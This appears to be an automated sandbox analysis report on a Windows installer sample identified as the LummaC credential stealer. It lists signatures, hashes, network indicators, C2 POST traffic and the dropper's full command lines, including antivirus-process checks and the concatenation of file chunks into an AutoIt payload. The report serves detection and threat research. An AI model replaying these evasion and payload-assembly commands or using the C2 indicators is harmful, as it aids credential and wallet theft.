Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1664099
MD5:	69d60e74d9063949aa710804c99e4468
SHA1:	c3c669bafcaedb94b4ea02afb19155b99b0bdf88
SHA256:	a6f505950424c626a2e800ee4d5b50de2e091d6b1f4f8ceeedc0e2e4af6aa6c0
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Yara detected LummaC Stealer

Drops PE files with a suspicious file extension

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Suspicious Copy From or To System Directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

Setup.exe (PID: 7940 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: 69D60E74D9063949AA710804C99E4468)

cmd.exe (PID: 7980 cmdline: "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 8056 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 8064 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 8100 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 8108 cmdline: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 8144 cmdline: cmd /c md 335031 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 8160 cmdline: extrac32 /Y /E Appreciated.msi MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 8180 cmdline: findstr /V "Communications" Turner MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 6588 cmdline: cmd /c copy /b 335031\Amino.com + Scanner + Tri + Submission + Aging + Digital + Collection + Cleveland + Taiwan + Receives + Nd + Investors + Detection 335031\Amino.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7204 cmdline: cmd /c copy /b ..\Thumbnail.msi + ..\Prize.msi + ..\Mile.msi + ..\Clark.msi + ..\Using.msi + ..\Horizontal.msi + ..\Sum.msi + ..\France.msi T MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Amino.com (PID: 7248 cmdline: Amino.com T MD5: 62D09F076E6E0240548C2F837536A46A)

choice.exe (PID: 7596 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Setup.exe", ParentImage: C:\Users\user\Desktop\Setup.exe, ParentProcessId: 7940, ParentProcessName: Setup.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat, ProcessId: 7980, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , CommandLine: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7980, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , ProcessId: 8108, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-13T16:25:03.098487+0200	2028371	3	Unknown Traffic	192.168.2.4	49735	89.169.54.153	443	TCP
2025-04-13T16:25:50.179624+0200	2028371	3	Unknown Traffic	192.168.2.4	49726	104.21.5.162	443	TCP
2025-04-13T16:25:52.100476+0200	2028371	3	Unknown Traffic	192.168.2.4	49727	104.21.5.162	443	TCP
2025-04-13T16:25:53.197917+0200	2028371	3	Unknown Traffic	192.168.2.4	49728	104.21.5.162	443	TCP
2025-04-13T16:25:55.215678+0200	2028371	3	Unknown Traffic	192.168.2.4	49729	104.21.5.162	443	TCP
2025-04-13T16:25:58.182515+0200	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.5.162	443	TCP
2025-04-13T16:25:59.150068+0200	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.5.162	443	TCP
2025-04-13T16:26:00.242952+0200	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.5.162	443	TCP
2025-04-13T16:26:02.180377+0200	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.5.162	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://vqaliantheart.live/oniz

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Setup.exe	Virustotal: Detection: 45%			Perma Link
Source: Setup.exe	ReversingLabs: Detection: 36%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 91.2%

Source: Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00405B6C FindFirstFileW,FindClose,		0_2_00405B6C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040652D DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_0040652D

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\335031\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\335031	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49727 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49729 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49726 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49728 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 89.169.54.153:443

Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 83Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2v12fESlxSr0hQWnUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 19611Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=vGxGvlC62hI0A5User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 8758Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=Ad5SUz2CMnUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 20396Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=EY3fSK83User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 5426Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=2MpSQjKn4bE3AvKzbUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 2615Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=rKn6z4C7bxMM4EQM3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 574445Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 121Host: vqaliantheart.live

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: XFctBeCyahiRgTQwoaYNt.XFctBeCyahiRgTQwoaYNt
Source: global traffic	DNS traffic detected: DNS query: vqaliantheart.live
Source: global traffic	DNS traffic detected: DNS query: h1.mockupeastcoast.shop

Source: unknown

HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 83Host: vqaliantheart.live

Source: Setup.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Detection.8.dr, Amino.com.1.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Investors.8.dr, Amino.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Detection.8.dr, Amino.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Investors.8.dr, Amino.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Detection.8.dr, Amino.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: Setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: Setup.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: Setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: Setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: Setup.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: Setup.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Setup.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: Detection.8.dr, Amino.com.1.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Setup.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: Investors.8.dr, Amino.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Investors.8.dr, Detection.8.dr, Amino.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Detection.8.dr, Amino.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Investors.8.dr, Amino.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Detection.8.dr, Amino.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Amino.com, 0000000C.00000000.1200946642.00000000006E5000.00000002.00000001.01000000.00000007.sdmp, Nd.8.dr, Amino.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: Setup.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: Investors.8.dr, Amino.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Amino.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49733 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00404B88 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404B88

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004033E9 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

0_2_004033E9

Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\ThrowingLose	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\MirrorAdventures	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\OperatingOptical	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\SyndicationOrdered	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\SystematicIndian	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406947		0_2_00406947
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00404451		0_2_00404451

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\335031\Amino.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: Setup.exe

Static PE information: invalid certificate

Source: Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@26/26@3/2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00403FDF GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00403FDF

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00402218 CoCreateInstance,

0_2_00402218

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7988:120:WilError_03

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Temp\nsz80F.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat

Source: Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Setup.exe	Virustotal: Detection: 45%
Source: Setup.exe	ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\user\Desktop\Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe "C:\Users\user\Desktop\Setup.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 335031
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Appreciated.msi
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Communications" Turner
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 335031\Amino.com + Scanner + Tri + Submission + Aging + Digital + Collection + Cleveland + Taiwan + Receives + Nd + Investors + Detection 335031\Amino.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Thumbnail.msi + ..\Prize.msi + ..\Mile.msi + ..\Clark.msi + ..\Using.msi + ..\Horizontal.msi + ..\Sum.msi + ..\France.msi T
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\335031\Amino.com Amino.com T
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Unauthorized.msi Unauthorized.msi.bat & Unauthorized.msi.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 335031	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Appreciated.msi	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Communications" Turner	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 335031\Amino.com + Scanner + Tri + Submission + Aging + Digital + Collection + Cleveland + Taiwan + Receives + Nd + Investors + Detection 335031\Amino.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Thumbnail.msi + ..\Prize.msi + ..\Mile.msi + ..\Clark.msi + ..\Using.msi + ..\Horizontal.msi + ..\Sum.msi + ..\France.msi T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\335031\Amino.com Amino.com T	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
